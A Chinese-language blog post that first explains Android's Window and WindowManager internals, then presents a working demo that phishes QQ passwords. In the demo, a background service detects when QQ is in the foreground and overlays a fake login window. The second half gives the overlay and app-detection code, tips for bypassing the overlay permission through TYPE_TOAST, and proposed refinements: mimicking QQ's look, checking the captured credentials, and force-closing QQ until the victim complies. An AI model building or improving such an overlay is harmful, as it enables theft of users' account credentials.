android WindowManager解析与骗取QQ密码案例分析

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android WindowManager解析与骗取QQ密码案例分析

2024-08-17 17:43:04 221人阅读

　　最近在网上看见一个人在乌云上提了一个漏洞，应用可以开启一个后台Service，检测当前顶部应用，如果为QQ或相关应用，就弹出一个自定义window用来诱骗用户输入账号密码，挺感兴趣的，总结相关知识写了一个demo，界面如下（界面粗糙，应该没人会上当吧，意思到了就行哈=, =）：
　　　　　　　　　　　　技术分享
　　　　　　　　　　　　
　　demo地址：https://github.com/zhaozepeng/GrabQQPWD
　　　　　　　　　　　　

Window&&WindowManager介绍

　　分析demo之前，先要整理总结一下相关的知识。先看看Window类，Window是一个抽象类，位于代码树frameworks\ android\view\Window.java文件。连同注释，这个文件总共一千多行，它概括了Android窗口的基本属性和基本功能。唯一实现了这个抽象类的是PhoneWindow，实例化PhoneWindow需要一个窗口，只需要通过WindowManager即可完成，Window类的具体实现位于WindowManagerService中，WindowManager和WindowManagerService的交互是一个IPC过程。Android中的所有视图都是通过Window来呈现的，不管是Activity，Dialog还是Toast，他们的视图实际上都是附加在Window上的，因此Window实际上是View的直接管理者，点击事件也是由Window传递给view的。WindowManager.LayoutParams.type参数表示window的类型，共有三种类型，分别是应用Window，子Window和系统Window。应用Window对应着一个Activity，类似Dialog之类的子Window不能单独存在，他需要附属在应用Window上才可以，系统Window则不需要，比如Toast之类，可以直接显示。每个Window都有对应的z-orderd，层级大的window会覆盖在层级小的window之上，应用window的层级范围是1~99，子window的范围是1000~1999，系统window的范围是2000~2999，这些层级范围都对应着相关的type，type的相关取值：官网链接和中文资料。WindowManager.LayoutParams.flags参数表示window的属性，默认为none，flags的相关取值：官方链接，还有其他的LayoutParams变量名称和取值可以参考WindowManager.LayoutParams（上）和WindowManager.LayoutParams（下）两篇译文博客，很详细。
　　再详细分析一下WindowManager，WindowManager主要用来管理窗口的一些状态、属性、view增加、删除、更新、窗口顺序、消息收集和处理等。通过代码Context.getSystemService(Context.WINDOW_SERVICE)可以获得WindowManager的实例。WindowManager所提供的功能很简单，常用的只有三个方法，即添加View、更新View和删除View，这三个方法定义在ViewManager中，而WindowManager继承了ViewManager，

addView();
updateViewLayout();
removeView();

　　这些函数是用来修改Window的，它的真正实现是WindowManagerImpl类，WindowManagerImpl这种工作模式是典型的桥接模式，Window 为抽象部分，WindowManagerImpl 为实现部分。WindowManagerImpl类并没有直接实现Window的三大操作，而是全部交给了WindowManagerGlobal来处理，WindowManagerGlobal以单例模式的形式向外提供自己的实例，在WindowManagerGlobal中有如下一段代码：

private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance()

将所有的操作全部交给WindowManagerGlobal来实现，后续的分析感兴趣的可以看看我的博客： java/android 设计模式学习笔记（8）—桥接模式。
　　View是Android中视图的呈现方式，但是View不能单独存在，他必须要附着在Window这个抽象的概念上面，每一个Window都对应着一个View和一个ViewRootImpl，Window和View通过ViewRootImpl来建立联系，因此有视图的地方就有Window，比如常见的Activity，Dialog，Toast等。
　　对于每个activity只有一个decorView也就是ViewRoot，window是通过下面方法获取的

Window mWindow = PolicyManager.makeNewWindow(this);

创建完Window之后，Activity会为该Window设置回调，Window接收到外界状态改变时就会回调到Activity中。在activity中会调用setContentView()函数，它是调用 window.setContentView()完成的，而Window的具体实现是PhoneWindow，所以最终的具体操作是在PhoneWindow中，PhoneWindow的setContentView方法第一步会检测DecorView是否存在，如果不存在，就会调用generateDecor函数直接创建一个DecorView；第二步就是将Activity的视图添加到DecorView的mContentParent中；第三步是回调Activity中的onContentChanged方法通知Activity视图已经发生改变。这些步骤完成之后，DecorView还没有被WindowManager正式添加到Window中，最后调用Activity的onResume方法中的makeVisible方法才能真正地完成添加和现实过程，Activity的视图才能被用户看到。对Activity的启动过程和Window的创建过程感兴趣的可以看看我的这篇博客android 不能在子线程中更新ui的讨论和分析。
　　Dialog Window 的创建过程和 Activity 类似，第一步也是用 PolicyManager.makeNewWindow 方法来创建一个 Window，不过这里传入的context必须要为activity的context；第二步也是通过 setContentView 函数去设置dialog 的布局视图；第三步调用 show 方法，通过 WindowManager 将 DecorView添加到Window中显示出来。
　　Toast和Dialog不同，它稍微复杂一点，首先Toast也是基于Window来实现的，但是由于Toast具有定时取消的这一个功能，所以系统采用了Handler。在Toast的内部有两类IPC过程，第一类是Toast访问NotificationManagerService，第二类是NotificationManagerService回调Toast里的TN接口。在Toast类中，最重要的用于显示该toast的show方法调用了service.enqueueToast(pkg, tn, mDuration)；也就是说系统为我们维持了一个toast队列，这也是为什么两个toast不会同时显示的原因，该方法将一个toast入队，显示则由系统维持显示的时机。

private static INotificationManager sService;
static private INotificationManager getService() {
    if (sService != null) {
        return sService;
    }
    sService = INotificationManager.Stub.asInterface(ServiceManager.getService("notification"));
    return sService;
}

该服务sService就是系统用于维护toast的服务。最后NMS会通过IPC调用Toast类内部的一个静态私有类TN，该类是toast的主要实现，该类完成了toast视图的创建，显示和隐藏。
　　网上介绍WindowManager的博客很多，都写得很好的，要具体了解的可以结合看看源码：

http://blog.csdn.net/chenyafei617/article/details/6577940)
http://www.tuicool.com/articles/fqiyeqM
http://blog.csdn.net/xieqibao/article/details/6567814
http://www.cnblogs.com/xiaoQLu/archive/2013/05/30/3108855.html　　

相关资料太多了，感兴趣的可以看看源码。

骗取QQ密码实例

　　有了上面的基础之后，这个例子其实就非常简单了。
　　第一步编写一个Service并且在Service中弹出一个自定义的Window：

windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams();
params.width = WindowManager.LayoutParams.MATCH_PARENT;
params.height = WindowManager.LayoutParams.MATCH_PARENT;
params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
params.format = PixelFormat.TRANSPARENT;
params.gravity = Gravity.CENTER;
params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;

LayoutInflater inflater = LayoutInflater.from(this);
v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null);
v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() {
    @Override
    public void backCallback() {
        if (v!=null && v.isAttachedToWindow())
            L.e("remove view ");
            windowManager.removeViewImmediate(v);
    }
});

btn_sure = (Button) v.findViewById(R.id.btn_sure);
btn_cancel = (Button) v.findViewById(R.id.btn_cancel);
et_account = (EditText) v.findViewById(R.id.et_account);
et_pwd = (EditText) v.findViewById(R.id.et_pwd);
cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd);
cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
    @Override
    public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
        if (isChecked) {
            et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance());
        } else {
            et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance());
        }
        et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ?
                0 : et_pwd.getText().length());
    }
});

//useless
//        v.setOnKeyListener(new View.OnKeyListener() {
//            @Override
//            public boolean onKey(View v, int keyCode, KeyEvent event) {
//                Log.e("zhao", keyCode+"");
//                if (keyCode == KeyEvent.KEYCODE_BACK) {
//                    windowManager.removeViewImmediate(v);
//                    return true;
//                }
//                return false;
//            }
//        });


//点击外部消失
v.setOnTouchListener(new View.OnTouchListener() {
    @Override
    public boolean onTouch(View view, MotionEvent event) {
        Rect temp = new Rect();
        view.getGlobalVisibleRect(temp);
        L.e("remove view ");
        if (temp.contains((int)(event.getX()), (int)(event.getY()))){
            windowManager.removeViewImmediate(v);
            return true;
        }
        return false;
    }
});

btn_sure.setOnClickListener(this);
btn_cancel.setOnClickListener(this);
L.e("add view ");
windowManager.addView(v, params);

　　这里有几点需要说明一下，

对悬浮窗权限的详细介绍请看我的另一篇博客： Android 悬浮窗各机型各系统适配大全；
第一个是type使用TYPE_TOAST而不是用TYPE_SYSTEM_ERROR是可以绕过权限的，这个是在知乎上看见有人说的一个漏洞，哈哈，但是因为在这个window中有edittext控件，如果设置为toast，软键盘是没法把布局顶上去的，只有TYPE_SYSTEM_ERROR可以将布局顶上去，如果想用toast绕过权限，布局就得自己精心去设计了；
第二个是因为有Edittext，所以softInputMode需要设置为SOFT_INPUT_ADJUST_PAN，要不然软键盘会覆盖Window；
第三个是返回键的监听，setOnKeyListener是不好用的，最后只能复写view类的dispatchKeyEvent函数来实现按键监听了；
第四个是点击外部消失的操作，看代码就会明白了；
第五个，获取顶部应用的权限问题，在这里非常感谢@android_jiajia朋友，提醒了一下，在5.0之前，5.0~5.1.1，5.1.1之后获取顶部应用的方式其实是不一样的，getTopActivityBeforeL()，getTopActivityBeforeLMAfterL()，getTopActivityAfterLM()，特别要说明的是LM版本之后如果要去获取顶部应用使用的getAppTasks方法时需要用户手动去开启权限的，但是这不就暴露了么，刚开始找到了一个github库去解决https://github.com/jaredrummler/AndroidProcesses，因为android底层还是linux内核，所以/proc的系统目录下会有进程的相关信息，原理就是基于此，但是最后依旧获取不到顶部的应用T__T，最后没办法了，只能够使用动态申请权限的方案了PACKAGE_USAGE_STATS。
第六个是在6.0的系统上，单单Manifest静态注册是不管用的，直接使用WindowManager.LayoutParams.TYPE_SYSTEM_ERROR是会直接崩溃，具体可以看看我的这篇博客android permission权限与安全机制解析（下），这个我在代码中也做好了适配。不过好消息是使用第一条我介绍的TYPE_TOAST依旧是可以绕过权限的，软键盘覆盖问题其实可以把布局挪上去就可以了T__T。

　　实现了弹出框的弹出之后，接着就要设置一个实时监听，开启一个线程，每隔几秒去监听用户正在操作的应用是否是QQ，这个就简单多了，使用ActivityManager就可以了：

new Thread(new Runnable() {
    @Override
    public void run() {
        while (isRunning){
            L.e("running");
            try {
                Thread.sleep(3000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            if (isAppForground("com.tencent.mobileqq")){
                myHandler.sendEmptyMessage(1);
            }
        }
    }
}).start();

　　获取顶部应用适配方法

private boolean isAppForeground(String appName){
    if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP){
        return appName.equals(getTopActivityBeforeL());
    }else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1){
        return appName.equals(getTopActivityAfterLM());
    }else{
        return appName.equals(getTopActivityBeforeLMAfterL());
    }
}

//5.0之前可以使用getRunningAppProcesses()函数获取
private String getTopActivityBeforeL(){
    ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
    final List<ActivityManager.RunningAppProcessInfo> taskInfo = activityManager.getRunningAppProcesses();
    return taskInfo.get(0).processName;
}

//http://stackoverflow.com/questions/24625936/getrunningtasks-doesnt-work-in-android-l
//processState只能在21版本之后使用
private String getTopActivityBeforeLMAfterL() {
    final int PROCESS_STATE_TOP = 2;
    Field field = null;
    ActivityManager.RunningAppProcessInfo currentInfo = null;
    try {
        field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState");
    } catch (Exception ignored) {
    }
    ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
    final List<ActivityManager.RunningAppProcessInfo> processInfos = activityManager.getRunningAppProcesses();
    for (ActivityManager.RunningAppProcessInfo processInfo : processInfos) {
        if (processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND
                && processInfo.importanceReasonCode == ActivityManager.RunningAppProcessInfo.REASON_UNKNOWN) {
            Integer state = null;
            try {
                state = field.getInt(processInfo);
            } catch (Exception e) {
            }
            if (state != null && state == PROCESS_STATE_TOP) {
                currentInfo = processInfo;
                break;
            }
        }
    }
    return currentInfo!=null ? currentInfo.processName : null;
}

//注：6.0之后此方法也不太好用了
//http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag
//    private String getTopActivityAfterLM(){
//        ActivityManager.RunningAppProcessInfo topActivity =
//                ProcessManager.getRunningAppProcessInfo(this).get(0);
//        return topActivity.processName;
//    }

@TargetApi(Build.VERSION_CODES.LOLLIPOP_MR1)
private String getTopActivityAfterLM() {
    try {
        UsageStatsManager usageStatsManager = (UsageStatsManager) getSystemService(Context.USAGE_STATS_SERVICE);
        long milliSecs = 60 * 1000;
        Date date = new Date();
        List<UsageStats> queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, date.getTime() - milliSecs, date.getTime());
        if (queryUsageStats.size() <= 0) {
            return null;
        }
        long recentTime = 0;
        String recentPkg = "";
        for (int i = 0; i < queryUsageStats.size(); i++) {
            UsageStats stats = queryUsageStats.get(i);
            if (stats.getLastTimeStamp() > recentTime) {
                recentTime = stats.getLastTimeStamp();
                recentPkg = stats.getPackageName();
            }
        }
        return recentPkg;
    } catch (Exception e) {
        e.printStackTrace();
    }
    return "";
}

　　PS:小米手机的ROM官方禁止了这些行为，不管是getRunningAppProcesses，getRunningTasks，和ProcessManager都只能返回自己和系统应用的列表，怎么搞?
http://www.miui.com/forum.php?mod=viewthread&tid=2866840
更新，不光这样，在最新版本的小米ROM中，Manifest 文件中申请了

<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />

权限，使用WindowManager.LayoutParams.TYPE_SYSTEM_ERROR还是无法弹出window，小米ROM需要特殊处理一下，这个网上有很多资料，大家可以去了解一下。

　　这样效果就差不多了，最后在Activity中启动该Service即可，当然这个还有很多改进的余地：
　　 1. 修改UI，使之更加的和QQ风格相似。
　　2. 用户输入完账号和密码之后，可以addView一个loadingDialog，接着调用相关接口去验证用户名和密码的正确性，不正确提示用户重新输入。
　　 3. 如果用户不输入账号和密码，直接调用killBackgrondProcess函数（需要权限），强硬的把QQ关闭，直到用户输入账号和密码。
　　当然了，这只是学习知识而已，大家开心就好啊￣?￣。

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